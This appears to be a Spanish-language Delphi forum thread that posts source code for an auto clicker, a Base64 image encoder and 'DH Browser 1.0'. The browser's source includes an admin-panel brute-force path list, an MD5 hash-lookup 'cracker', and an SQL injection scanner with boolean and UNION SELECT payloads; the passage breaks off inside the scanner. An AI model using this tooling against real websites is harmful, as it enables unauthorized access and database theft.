        txt_X_Now: TEdit;
        lblYPosition: TLabel;
        txt_Y_Now: TEdit;
        gbOptions: TGroupBox;
        lblType: TLabel;
        cmbType: TComboBox;
        lblSleep: TLabel;
        txtSleep: TEdit;
        lblXSelect: TLabel;
        txt_X_Select: TEdit;
        lblYSelect: TLabel;
        txt_Y_Select: TEdit;
        lblSeconds: TLabel;
        btnGetPosition: TButton;
        cbUseRandomClicks: TCheckBox;
        btnStart: TButton;
        btnStop: TButton;
        status: TStatusBar;
        tmGetMousePosition: TTimer;
        tmClicker: TTimer;
        notificar: TTrayIcon;
        tmHookKeys: TTimer;
        ilIconos: TImageList;
        procedure tmGetMousePositionTimer(Sender: TObject);
        procedure btnGetPositionClick(Sender: TObject);
        procedure tmClickerTimer(Sender: TObject);
        procedure notificarClick(Sender: TObject);
        procedure tmHookKeysTimer(Sender: TObject);
        procedure btnStartClick(Sender: TObject);
        procedure btnStopClick(Sender: TObject);
      private
        { Private declarations }
      public
        procedure capturar_posicion_mouse();
        procedure iniciar_clicker();
        procedure desactivar_clicker();
      end;

    var
      FormHome: TFormHome;

    implementation

    {$R *.dfm}

    function message_box(title, message_text, type_message: string): string;
    begin
      if not(title = '') and not(message_text = '') and not(type_message = '') then
      begin
        try
          begin
            if (type_message = 'Information') then
            begin
              MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
                MB_ICONINFORMATION);
            end
            else if (type_message = 'Warning') then
            begin
              MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
                MB_ICONWARNING);
            end
            else if (type_message = 'Question') then
            begin
              MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
                MB_ICONQUESTION);
            end
            else if (type_message = 'Error') then
            begin
              MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
                MB_ICONERROR);
            end
            else
            begin
              MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
                MB_ICONINFORMATION);
            end;
            Result := '[+] MessageBox : OK';
          end;
        except
          begin
            Result := '[-] Error';
          end;
        end;
      end
      else
      begin
        Result := '[-] Error';
      end;
    end;

    procedure mouse_click(option: string);
    // Function based in : http://www.swissdelphicenter.ch/torry/showcode.php?id=360
    // Thanks to Thomas Stutz
    begin
      if (option = 'left') then
      begin
        mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
        mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
      end
      else if (option = 'right') then
      begin
        mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
        mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
      end
      else if (option = 'middle') then
      begin
        mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
        mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
      end
      else if (option = 'double') then
      begin
        mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
        mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
        GetDoubleClickTime;
        mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
        mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
      end
      else
      begin
        mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
        mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
      end;
    end;

    procedure TFormHome.iniciar_clicker();
    begin
      if (cmbType.ItemIndex <> -1) and not(txt_X_Select.Text = '') and
        not(txt_Y_Select.Text = '') and not(txtSleep.Text = '') then
      begin
        tmClicker.Interval := StrToInt(txtSleep.Text) * 1000;
        tmClicker.Enabled := True;
        status.Panels[0].Text := '[+] Working ...';
        FormHome.Update;
        notificar.BalloonTitle := 'DH Auto Clicker';
        notificar.BalloonHint := 'Clicker Started';
        notificar.ShowBalloonHint;
      end
      else
      begin
        message_box('DH Auto Clicker 0.6', 'Complete the options', 'Warning');
      end;
    end;

    procedure TFormHome.desactivar_clicker();
    begin
      tmClicker.Enabled := False;
      status.Panels[0].Text := '[+] Stopped';
      FormHome.Update;
      notificar.BalloonTitle := 'DH Auto Clicker';
      notificar.BalloonHint := 'Clicker Stopped';
      notificar.ShowBalloonHint;
    end;

    procedure TFormHome.btnStartClick(Sender: TObject);
    begin
      iniciar_clicker();
    end;

    procedure TFormHome.btnStopClick(Sender: TObject);
    begin
      desactivar_clicker();
    end;

    procedure TFormHome.capturar_posicion_mouse();
    begin
      txt_X_Select.Text := txt_X_Now.Text;
      txt_Y_Select.Text := txt_Y_Now.Text;
      status.Panels[0].Text := '[+] Position updated';
      FormHome.Update;
      notificar.BalloonTitle := 'DH Auto Clicker';
      notificar.BalloonHint := 'Position updated';
      notificar.ShowBalloonHint;
    end;

    procedure TFormHome.notificarClick(Sender: TObject);
    begin
      Show();
      WindowState := wsNormal;
      Application.BringToFront();
    end;

    procedure TFormHome.btnGetPositionClick(Sender: TObject);
    begin
      capturar_posicion_mouse();
    end;

    procedure TFormHome.tmGetMousePositionTimer(Sender: TObject);
    var
      ubicacion: tPoint;
    begin
      ubicacion := Mouse.CursorPos;
      txt_X_Now.Text := IntToStr(ubicacion.X);
      txt_Y_Now.Text := IntToStr(ubicacion.Y);
    end;

    procedure TFormHome.tmHookKeysTimer(Sender: TObject);
    var
      i: integer;
      re: Longint;
    begin
      for i := 119 to 124 do
      begin
        re := GetAsyncKeyState(i);
        If re = -32767 then
        Begin
          if (i = 120) then
          begin
            capturar_posicion_mouse();
          end
          else if (i = 122) then
          begin
            iniciar_clicker();
          end
          else if (i = 123) then
          begin
            desactivar_clicker();
          end
          else
          begin
            // ?
          end;
        End;
      End;
    end;

    procedure TFormHome.tmClickerTimer(Sender: TObject);
    var
      tipo: integer;
      nombre_tipo: string;
      X: integer;
      Y: integer;
      time_sleep: integer;
    begin

      tipo := cmbType.ItemIndex;
      nombre_tipo := '';

      if (tipo = 0) then
      begin
        nombre_tipo := 'left';
      end
      else if (tipo = 1) then
      begin
        nombre_tipo := 'middle';
      end
      else if (tipo = 2) then
      begin
        nombre_tipo := 'right';
      end
      else if (tipo = 3) then
      begin
        nombre_tipo := 'double';
      end
      else
      begin
        nombre_tipo := 'left';
      end;

      X := 0;
      Y := 0;

      if (cbUseRandomClicks.Checked) then
      begin
        X := RandomRange(1, 2000);
        Y := RandomRange(1, 1000);
      end
      else
      begin
        X := StrToInt(txt_X_Select.Text);
        Y := StrToInt(txt_Y_Select.Text);
      end;

      time_sleep := StrToInt(txtSleep.Text) * 1000;

      SetCursorPos(X, Y);

      mouse_click(nombre_tipo);

    end;

    end.

    // The End ?


    Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :

    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

    Eso seria todo.
#27
Delphi / [Delphi] Base64 Image Encoder 0.2
Septiembre 17, 2016, 06:15:09 PM
Un programa en Delphi para codificar cualquier imagen a Base64 para usar en HTML , se puede copiar el codigo en el portapapeles o guardar en un archivo desde el programa mismo.

Una imagen :



El codigo :

Código: delphi

// Base64 Image Encoder 0.2
// (C) Doddy Hackman 2016

unit encoder;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls,
  Vcl.Menus, Vcl.Controls, Vcl.Styles.Utils.ComCtrls, Vcl.Styles.Utils.Menus,
  Vcl.Styles.Utils.SysStyleHook,
  Vcl.Styles.Utils.SysControls, Vcl.Styles.Utils.Forms,
  Vcl.Styles.Utils.StdCtrls, Vcl.Styles.Utils.ScreenTips, IdCoderMIME, ShellApi,
  Vcl.ImgList, Vcl.ExtCtrls, Vcl.Imaging.pngimage;

type
  TFormHome = class(TForm)
    gbEnterFilename: TGroupBox;
    txtFilename: TEdit;
    btnLoad: TButton;
    gbOutput: TGroupBox;
    mmOutput: TMemo;
    btnEncode: TButton;
    pmOptions: TPopupMenu;
    copy: TMenuItem;
    save: TMenuItem;
    odLoad: TOpenDialog;
    clear: TMenuItem;
    sdSave: TSaveDialog;
    ilIconos: TImageList;
    imgLogo: TImage;
    procedure btnEncodeClick(Sender: TObject);
    procedure btnLoadClick(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure clearClick(Sender: TObject);
    procedure copyClick(Sender: TObject);
    procedure saveClick(Sender: TObject);
  private
    procedure DragDropFile(var Msg: TMessage); message WM_DROPFILES;
  public
    { Public declarations }
  end;

var
  FormHome: TFormHome;

implementation

{$R *.dfm}
// Functions

function message_box(title, message_text, type_message: string): string;
begin
  if not(title = '') and not(message_text = '') and not(type_message = '') then
  begin
    try
      begin
        if (type_message = 'Information') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONINFORMATION);
        end
        else if (type_message = 'Warning') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONWARNING);
        end
        else if (type_message = 'Question') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONQUESTION);
        end
        else if (type_message = 'Error') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONERROR);
        end
        else
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONINFORMATION);
        end;
        Result := '[+] MessageBox : OK';
      end;
    except
      begin
        Result := '[-] Error';
      end;
    end;
  end
  else
  begin
    Result := '[-] Error';
  end;
end;

// Function to DragDrop

// Based in : http://www.clubdelphi.com/foros/showthread.php?t=85665
// Thanks to ecfisa

var
  bypass_window: function(Msg: Cardinal; dwFlag: Word): BOOL; stdcall;

procedure TFormHome.DragDropFile(var Msg: TMessage);
var
  nombre_archivo, extension: string;
  limite, number: integer;
  path: array [0 .. MAX_COMPUTERNAME_LENGTH + MAX_PATH] of char;
begin
  limite := DragQueryFile(Msg.WParam, $FFFFFFFF, path, 255) - 1;
  if (Win32MajorVersion = 6) and (Win32MinorVersion > 0) then
    for number := 0 to limite do
    begin
      bypass_window(number, 1);
    end;
  for number := 0 to limite do
  begin
    DragQueryFile(Msg.WParam, number, path, 255);

    //

    if (FileExists(path)) then
    begin
      nombre_archivo := ExtractFilename(path);
      extension := ExtractFileExt(path);
      extension := StringReplace(extension, '.', '',
        [rfReplaceAll, rfIgnoreCase]);
      if (extension = 'jpg') or (extension = 'png') or (extension = 'bmp') then
      begin
        txtFilename.Text := path;
        message_box('Base64 Image Encoder 0.2', 'Image loaded', 'Information');
      end
      else
      begin
        message_box('Base64 Image Encoder 0.2', 'The image is not valid',
          'Warning');
      end;
    end;

    //

  end;
  DragFinish(Msg.WParam);
end;

function base64_encodefile(filename: String): String;
var
  stream: TFileStream;
  base64: TIdEncoderMIME;
  output: string;
begin
  if (FileExists(filename)) then
  begin
    try
      begin
        base64 := TIdEncoderMIME.Create(nil);
        stream := TFileStream.Create(filename, fmOpenRead);
        output := TIdEncoderMIME.EncodeStream(stream);
        stream.Free;
        base64.Free;
        if not(output = '') then
        begin
          Result := output;
        end
        else
        begin
          Result := 'Error';
        end;
      end;
    except
      begin
        Result := 'Error';
      end;
    end;
  end
  else
  begin
    Result := 'Error';
  end;
end;

function savefile(archivo, texto: string): BOOL;
var
  open_file: TextFile;
begin
  try
    begin
      AssignFile(open_file, archivo);
      FileMode := fmOpenWrite;

      if FileExists(archivo) then
      begin
        Append(open_file);
      end
      else
      begin
        Rewrite(open_file);
      end;
      Write(open_file, texto);
      CloseFile(open_file);
      Result := True;
    end;
  except
    Result := False;
  end;
end;

//

procedure TFormHome.btnEncodeClick(Sender: TObject);
var
  archivo: string;
  nombre_archivo: string;
  extension: string;
  img_encoded: string;
  html_generate: string;
begin

  archivo := txtFilename.Text;
  if (FileExists(archivo)) then
  begin
    nombre_archivo := ExtractFilename(archivo);
    extension := ExtractFileExt(archivo);
    extension := StringReplace(extension, '.', '',
      [rfReplaceAll, rfIgnoreCase]);
    nombre_archivo := StringReplace(nombre_archivo, '.' + extension, '',
      [rfReplaceAll, rfIgnoreCase]);
    nombre_archivo := StringReplace(nombre_archivo, ' ', '',
      [rfReplaceAll, rfIgnoreCase]);
    if (extension = 'jpg') or (extension = 'png') or (extension = 'bmp') then
    begin
      try
        begin
          img_encoded := base64_encodefile(archivo);
          if not(img_encoded = '') then
          begin
            html_generate := '<img title="' + nombre_archivo +
              '" src="data:image/' + extension + ';base64,' +
              img_encoded + '" />';

            mmOutput.Lines.Add(html_generate);
            mmOutput.Lines.Add(sLineBreak);

            message_box('Base64 Image Encoder 0.2', 'Done', 'Information');
          end
          else
          begin
            message_box('Base64 Image Encoder 0.2',
              'An error has occurred in the program', 'Error');
          end;
        end;
      except
        begin
          message_box('Base64 Image Encoder 0.2',
            'An error has occurred in the program', 'Error');
        end;
      end;
    end
    else
    begin
      message_box('Base64 Image Encoder 0.2',
        'The file extension is not allowed', 'Warning');
    end;
  end
  else
  begin
    message_box('Base64 Image Encoder 0.2', 'File not found', 'Warning');
  end;
end;

procedure TFormHome.btnLoadClick(Sender: TObject);
begin
  if odLoad.Execute then
  begin
    txtFilename.Text := odLoad.filename;
  end;
end;

procedure TFormHome.clearClick(Sender: TObject);
begin
  mmOutput.clear;
  message_box('Base64 Image Encoder 0.2', 'Output cleaned', 'Information');
end;

procedure TFormHome.copyClick(Sender: TObject);
begin
  mmOutput.SelectAll;
  mmOutput.CopyToClipboard;
  message_box('Base64 Image Encoder 0.2', 'Output copied to the clipboard',
    'Information');
end;

procedure TFormHome.FormCreate(Sender: TObject);
begin

  //

  if (Win32MajorVersion = 6) and (Win32MinorVersion > 0) then
  begin
    @bypass_window := GetProcAddress(LoadLibrary('user32.dll'),
      'ChangeWindowMessageFilter');
    bypass_window(WM_DROPFILES, 1);
    bypass_window(WM_COPYDATA, 1);
    bypass_window($0049, 1);
  end;
  DragAcceptFiles(Handle, True);

  //

  UseLatestCommonDialogs := False;
  odLoad.InitialDir := GetCurrentDir;
  odLoad.Filter :=
    'JPG files (*.jpg)|*.JPG|PNG Files (*.png)|*.PNG|BMP File (*.bmp)|*.BMP';
end;

procedure TFormHome.saveClick(Sender: TObject);
var
  file_output, output, html: string;
begin
  try
    begin
      sdSave.InitialDir := GetCurrentDir;
      sdSave.Filter := 'HTML file|*.html';
      if sdSave.Execute then
      begin
        output := mmOutput.Text;
        file_output := sdSave.filename;
        if not(file_output = '') then
        begin
          if not(output = '') then
          begin
            output := StringReplace(output, sLineBreak, sLineBreak + '</br>',
              [rfReplaceAll, rfIgnoreCase]);
            html := '<html>' + sLineBreak + '<body>' + output + sLineBreak +
              '</body>' + sLineBreak + '</html>';
            if (FileExists(file_output)) then
            begin
              DeleteFile(file_output);
            end;
            savefile(file_output, html);
            if (FileExists(file_output)) then
            begin
              ShellExecute(0, nil, PChar(file_output), nil, nil, SW_SHOWNORMAL);
            end;
            message_box('Base64 Image Encoder 0.2', 'File created',
              'Information');
          end
          else
          begin
            message_box('Base64 Image Encoder 0.2', 'Output is empty',
              'Warning');
          end;
        end
        else
        begin
          message_box('Base64 Image Encoder 0.2', 'File not found', 'Warning');
        end;
      end;
    end;
  except
    begin
      message_box('Base64 Image Encoder 0.2',
        'An error has occurred in the program', 'Warning');
    end;
  end;
end;

end.

// The End ?


Si quieren bajar el programa lo pueden hacer de aca :

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Eso seria todo.
#28
Delphi / [Delphi] DH Browser 1.0
Septiembre 04, 2016, 09:34:41 PM
Un navegador web en Delphi con las siguientes opciones :

  • Podes ver el codigo fuente de la pagina cargado
  • Se puede modificar los headers para HTTP Header Injection
  • Se puede buscar palabras en el codigo fuente
  • SQLI Scanner incorporado
  • Admin Finder incorporado
  • Crack MD5 incorporado

    Una imagen :



    El codigo :

    Código: delphi

    // DH Browser 1.0
    // (C) Doddy Hackman 2016
    // Credits :
    // Navigate based on : http://www.swissdelphicenter.ch/torry/showcode.php?id=2242
    // FindText based on : http://delphi.cjcsoft.net/viewthread.php?tid=47143
    // Get HTML based on : http://delphi.about.com/od/adptips2005/qt/webbrowserhtml.htm

    unit dh;

    interface

    uses
      Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
      System.Classes, Vcl.Graphics,
      Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.OleCtrls, SHDocVw,
      Vcl.Imaging.pngimage, Vcl.ExtCtrls, Vcl.ComCtrls, mshtml, Vcl.Menus,
      IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, PerlRegEx,
      IdMultipartFormData, Vcl.ImgList, Vcl.Styles.Utils.ComCtrls,
      Vcl.Styles.Utils.Menus,
      Vcl.Styles.Utils.SysStyleHook,
      Vcl.Styles.Utils.SysControls, Vcl.Styles.Utils.Forms,
      Vcl.Styles.Utils.StdCtrls, Vcl.Styles.Utils.ScreenTips;

    type
      TFormHome = class(TForm)
        gbEnterPage: TGroupBox;
        btnEnter: TButton;
        gbHeaders: TGroupBox;
        mmHeaders: TMemo;
        GroupBox3: TGroupBox;
        GroupBox4: TGroupBox;
        gbAbout: TGroupBox;
        txtURL: TEdit;
        imgLogo: TImage;
        imgAbout: TImage;
        btnSQLI_Scanner: TButton;
        btnAdminFinder: TButton;
        btnCrack_MD5: TButton;
        btnSearch_for_text: TButton;
        cbUse_This_Headers: TCheckBox;
        browser: TWebBrowser;
        status: TStatusBar;
        progreso: TProgressBar;
        mmSource: TMemo;
        menu: TPopupMenu;
        ShowSourceHTML1: TMenuItem;
        ShowBrowser1: TMenuItem;
        nave: TIdHTTP;
        buscar_codigo: TFindDialog;
        ilIconos: TImageList;
        lblAbout: TLabel;
        procedure btnEnterClick(Sender: TObject);
        procedure browserDownloadComplete(Sender: TObject);
        procedure browserProgressChange(ASender: TObject;
          Progress, ProgressMax: Integer);
        procedure ShowSourceHTML1Click(Sender: TObject);
        procedure ShowBrowser1Click(Sender: TObject);
        procedure btnSQLI_ScannerClick(Sender: TObject);
        procedure btnAdminFinderClick(Sender: TObject);
        procedure btnCrack_MD5Click(Sender: TObject);
        procedure btnSearch_for_textClick(Sender: TObject);
        procedure buscar_codigoFind(Sender: TObject);
        procedure FormCreate(Sender: TObject);

      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      FormHome: TFormHome;

    implementation

    {$R *.dfm}

    procedure TFormHome.btnAdminFinderClick(Sender: TObject);
    const
      paginas: array [1 .. 250] of string = ('admin/admin.asp', 'admin/login.asp',
        'admin/index.asp', 'admin/admin.aspx', 'admin/login.aspx',
        'admin/index.aspx', 'admin/webmaster.asp', 'admin/webmaster.aspx',
        'asp/admin/index.asp', 'asp/admin/index.aspx', 'asp/admin/admin.asp',
        'asp/admin/admin.aspx', 'asp/admin/webmaster.asp',
        'asp/admin/webmaster.aspx', 'admin/', 'login.asp', 'login.aspx',
        'admin.asp', 'admin.aspx', 'webmaster.aspx', 'webmaster.asp',
        'login/index.asp', 'login/index.aspx', 'login/login.asp',
        'login/login.aspx', 'login/admin.asp', 'login/admin.aspx',
        'administracion/index.asp', 'administracion/index.aspx',
        'administracion/login.asp', 'administracion/login.aspx',
        'administracion/webmaster.asp', 'administracion/webmaster.aspx',
        'administracion/admin.asp', 'administracion/admin.aspx', 'php/admin/',
        'admin/admin.php', 'admin/index.php', 'admin/login.php', 'admin/system.php',
        'admin/ingresar.php', 'admin/administrador.php', 'admin/default.php',
        'administracion/', 'administracion/index.php', 'administracion/login.php',
        'administracion/ingresar.php', 'administracion/admin.php',
        'administration/', 'administration/index.php', 'administration/login.php',
        'administrator/index.php', 'administrator/login.php',
        'administrator/system.php', 'system/', 'system/login.php', 'admin.php',
        'login.php', 'administrador.php', 'administration.php', 'administrator.php',
        'admin1.html', 'admin1.php', 'admin2.php', 'admin2.html', 'yonetim.php',
        'yonetim.html', 'yonetici.php', 'yonetici.html', 'adm/',
        'admin/account.php', 'admin/account.html', 'admin/index.html',
        'admin/login.html', 'admin/home.php', 'admin/controlpanel.html',
        'admin/controlpanel.php', 'admin.html', 'admin/cp.php', 'admin/cp.html',
        'cp.php', 'cp.html', 'administrator/', 'administrator/index.html',
        'administrator/login.html', 'administrator/account.html',
        'administrator/account.php', 'administrator.html', 'login.html',
        'modelsearch/login.php', 'moderator.php', 'moderator.html',
        'moderator/login.php', 'moderator/login.html', 'moderator/admin.php',
        'moderator/admin.html', 'moderator/', 'account.php', 'account.html',
        'controlpanel/', 'controlpanel.php', 'controlpanel.html',
        'admincontrol.php', 'admincontrol.html', 'adminpanel.php',
        'adminpanel.html', 'admin1.asp', 'admin2.asp', 'yonetim.asp',
        'yonetici.asp', 'admin/account.asp', 'admin/home.asp',
        'admin/controlpanel.asp', 'admin/cp.asp', 'cp.asp',
        'administrator/index.asp', 'administrator/login.asp',
        'administrator/account.asp', 'administrator.asp', 'modelsearch/login.asp',
        'moderator.asp', 'moderator/login.asp', 'moderator/admin.asp',
        'account.asp', 'controlpanel.asp', 'admincontrol.asp', 'adminpanel.asp',
        'fileadmin/', 'fileadmin.php', 'fileadmin.asp', 'fileadmin.html',
        'administration.html', 'sysadmin.php', 'sysadmin.html', 'phpmyadmin/',
        'myadmin/', 'sysadmin.asp', 'sysadmin/', 'ur-admin.asp', 'ur-admin.php',
        'ur-admin.html', 'ur-admin/', 'Server.php', 'Server.html', 'Server.asp',
        'Server/', 'wpadmin/', 'administr8.php', 'administr8.html', 'administr8/',
        'administr8.asp', 'webadmin/', 'webadmin.php', 'webadmin.asp',
        'webadmin.html', 'administratie/', 'admins/', 'admins.php', 'admins.asp',
        'admins.html', 'administrivia/', 'Database_Administration/', 'WebAdmin/',
        'useradmin/', 'sysadmins/', 'admin1/', 'systemadministration/',
        'administrators/', 'pgadmin/', 'directadmin/', 'staradmin/',
        'ServerAdministrator/', 'SysAdmin/', 'administer/', 'LiveUser_Admin/',
        'sysadmin/', 'typo3/', 'panel/', 'cpanel/', 'cPanel/', 'cpanel_file/',
        'platz_login/', 'rcLogin/', 'blogindex/', 'formslogin/', 'autologin/',
        'support_login/', 'meta_login/', 'manuallogin/', 'simpleLogin/',
        'loginflat/', 'utility_login/', 'showlogin/', 'memlogin/', 'members/',
        'login-redirect/', 'sublogin/', 'wplogin/', 'login1/', 'dirlogin/',
        'login_db/', 'xlogin/', 'smblogin/', 'customer_login/', 'UserLogin/',
        'loginus/', 'acct_login/', 'admin_area/', 'bigadmin/', 'project-admins/',
        'phppgadmin/', 'pureadmin/', 'sqladmin/', 'radmind/', 'openvpnadmin/',
        'wizmysqladmin/', 'vadmind/', 'ezsqliteadmin/', 'hpwebjetadmin/',
        'newsadmin/', 'adminpro/', 'Lotus_Domino_Admin/', 'bbadmin/', 'vmailadmin/',
        'Indy_admin/', 'ccp14admin/', 'irc-macadmin/', 'banneradmin/', 'sshadmin/',
        'phpldapadmin/', 'macadmin/', 'administratoraccounts/', 'admin4_account/',
        'admin4_colon/', 'radmind1/', 'SuperAdmin/', 'AdminTools/', 'cmsadmin/',
        'SysAdmin2/', 'globes_admin/', 'cadmins/', 'phpSQLiteAdmin/',
        'navSiteAdmin/', 'server_admin_small/', 'logo_sysadmin/', 'server/',
        'database_administration/', 'power_user/', 'system_administration/',
        'ss_vms_admin_sm/');
    var
      i: Integer;
      control: Integer;

    var
      cabeceras: OLEVariant;
      uno: OLEVariant;
      dos: OLEVariant;
      tres: OLEVariant;

    begin

      if not(txtURL.Text = '') then
      begin
        control := 0;

        status.Panels[0].Text := '[+] Finding Panel ....';
        FormHome.status.Update;

        for i := Low(paginas) to High(paginas) do

          if (control = 1) then
          begin
            Abort;
          end
          else
          begin

            try

              status.Panels[0].Text := '[+] Testing : ' + paginas[i];
              FormHome.status.Update;

              nave.Get(txtURL.Text + '/' + paginas[i]);
              if nave.ResponseCode = 200 then
              begin

                txtURL.Text := txtURL.Text + '/' + paginas[i];

                uno := navNoReadFromCache or navNoWriteToCache;
                dos := '';
                tres := '';

                if (cbUse_This_Headers.Checked) then
                begin
                  cabeceras := mmHeaders.Text;
                  browser.Navigate(txtURL.Text, uno, dos, tres, cabeceras);
                end
                else
                begin
                  cabeceras := '';
                  browser.Navigate(txtURL.Text, uno, dos, tres, cabeceras);
                end;
                control := 1;
                status.Panels[0].Text := '[+] Panel Found';
                FormHome.status.Update;
                MessageBox(0, 'Panel Found', 'DH Browser 1.0', MB_ICONINFORMATION);
                Abort;
              end;
            except
              on E: EIdHttpProtocolException do;
              on E: Exception do;
            end;

          end;

        status.Panels[0].Text := '[-] Panel not found';
        FormHome.status.Update;
        MessageBox(0, 'Panel not found', 'DH Browser 1.0', MB_ICONERROR);
      end
      else
      begin
        MessageBox(0, 'Enter URL', 'DH Browser 1.0', MB_ICONINFORMATION);
      end;

    end;

    procedure TFormHome.browserDownloadComplete(Sender: TObject);
    var
      buscador: IHTMLElement;
    begin

      progreso.Position := 0;

      status.Panels[0].Text := '[+] Page loaded';
      FormHome.status.Update;

      // Get HTML based on : http://delphi.about.com/od/adptips2005/qt/webbrowserhtml.htm

      begin

        try
          begin

            mmSource.Clear;

            buscador := (browser.Document AS IHTMLDocument2).body;

            while not(buscador.parentElement = nil) do
            begin
              buscador := buscador.parentElement;
            end;
            mmSource.Lines.Add(buscador.outerHTML);
          end;
        except
          // ??
        end;
      end;
    end;

    procedure TFormHome.browserProgressChange(ASender: TObject;
      Progress, ProgressMax: Integer);
    begin
      progreso.Max := ProgressMax;
      progreso.Position := Progress;
    end;

    procedure TFormHome.buscar_codigoFind(Sender: TObject);
    // FindText based on : http://delphi.cjcsoft.net/viewthread.php?tid=47143

    var
      aca: PChar;
      aca2: PChar;
      acatoy: PChar;
      acatoy2: Word;

    begin

      With Sender as TFindDialog do

      begin

        GetMem(aca2, Length(FindText) + 1);
        StrPCopy(aca2, FindText);

        acatoy2 := mmSource.GetTextLen + 1;
        GetMem(aca, acatoy2);

        mmSource.GetTextBuf(aca, acatoy2);

        acatoy := aca + mmSource.SelStart + mmSource.SelLength;
        acatoy := StrPos(acatoy, aca2);

        if not(acatoy = NIL) then
        begin
          mmSource.SelStart := acatoy - aca;
          mmSource.SelLength := Length(FindText);
        end;

        mmSource.SetFocus;

      end;

    end;

    procedure TFormHome.btnCrack_MD5Click(Sender: TObject);
    var
      md5: string;
      datos: TIdMultiPartFormDataStream;
      code: string;
      regex_check: TPerlRegEx;
      cracked: string;
    begin

      md5 := InputBox('DH Browser 1.0', 'MD5 : ', '');

      if not(md5 = '') then
      begin
        regex_check := TPerlRegEx.Create();
        datos := TIdMultiPartFormDataStream.Create;
        datos.AddFormField('pass', md5);
        datos.AddFormField('option', 'hash2text');
        datos.AddFormField('send', 'Submit');

        status.Panels[0].Text := '[+] Cracking ...';
        FormHome.status.Update;

        code := nave.Post('http://md5online.net/index.php', datos);

        regex_check.regex :=
          '<center><p>md5 :<b>(.*?)</b> <br>pass : <b>(.*?)</b></p>';
        regex_check.Subject := code;

        if regex_check.Match then
        begin
          cracked := regex_check.Groups[2];
          status.Panels[0].Text := '[+] MD5 Cracked : ' + cracked;
          FormHome.status.Update;
          MessageBox(0, PChar('MD5 Cracked : ' + cracked), 'DH Browser 1.0',
            MB_ICONINFORMATION);

        end
        else
        begin
          status.Panels[0].Text := '[-] Not found';
          FormHome.status.Update;
          MessageBox(0, 'Not found', 'DH Browser 1.0', MB_ICONERROR);
        end;
      end;

    end;

    procedure TFormHome.btnEnterClick(Sender: TObject);
    // Navigate based on : http://www.swissdelphicenter.ch/torry/showcode.php?id=2242

    var

      cabeceras: OLEVariant;
      uno: OLEVariant;
      dos: OLEVariant;
      tres: OLEVariant;

    begin

      uno := navNoReadFromCache or navNoWriteToCache;
      dos := '';
      tres := '';

      if (cbUse_This_Headers.Checked) then
      begin
        cabeceras := mmHeaders.Text;
        browser.Navigate(txtURL.Text, uno, dos, tres, cabeceras);
      end
      else
      begin
        cabeceras := '';
        browser.Navigate(txtURL.Text, uno, dos, tres, cabeceras);
      end;

    end;

    procedure TFormHome.FormCreate(Sender: TObject);
    begin
      UseLatestCommonDialogs := False;
    end;

    procedure TFormHome.btnSearch_for_textClick(Sender: TObject);
    begin
      buscar_codigo.Execute;
    end;

    procedure TFormHome.ShowBrowser1Click(Sender: TObject);
    begin
      browser.Visible := True;
      mmSource.Visible := False;
    end;

    procedure TFormHome.ShowSourceHTML1Click(Sender: TObject);
    begin
      browser.Visible := False;
      mmSource.Visible := True;
    end;

    procedure TFormHome.btnSQLI_ScannerClick(Sender: TObject);
    var
      pass1: string;
      pass2: string;
      code: string;
      urltest: string;
      urlgen: string;
      full: string;
      codedos: string;
      i: Integer;
      regex_check: TPerlRegEx;

    var

      cabeceras: OLEVariant;
      uno: OLEVariant;
      dos: OLEVariant;
      tres: OLEVariant;

    begin

      if not(txtURL.Text = '') then
      begin
        regex_check := TPerlRegEx.Create();

        status.Panels[0].Text := '[+] SQLI Scanning ...';
        FormHome.status.Update;

        pass1 := '+';
        pass2 := '--';

        urltest := 'concat(0x4b30425241,1,0x4b30425241)';

        status.Panels[0].Text := '[+] Checking ...';
        FormHome.status.Update;

        code := nave.Get(txtURL.Text + '1' + pass1 + 'and' + pass1 + '1=1' + pass2);

        codedos := nave.Get(txtURL.Text + '1' + pass1 + 'and' + pass1 +
          '1=0' + pass2);

        if not(code = codedos) then
        begin

          status.Panels[0].Text := '[+] Finding columns number';
          FormHome.status.Update;

          urltest := '1' + pass1 + 'and' + pass1 + '1=0' + pass1 + 'union' + pass1 +
            'select' + pass1 + 'concat(0x4b30425241,1,0x4b30425241)';
          urlgen := '1';
          for i := 2 to 36 do
          begin

            status.Panels[0].Text := '[+] Columns Length : ' + IntToStr(i);
            FormHome.status.Update;
            urltest := urltest + ',concat(0x4b30425241,' + IntToStr(i) +
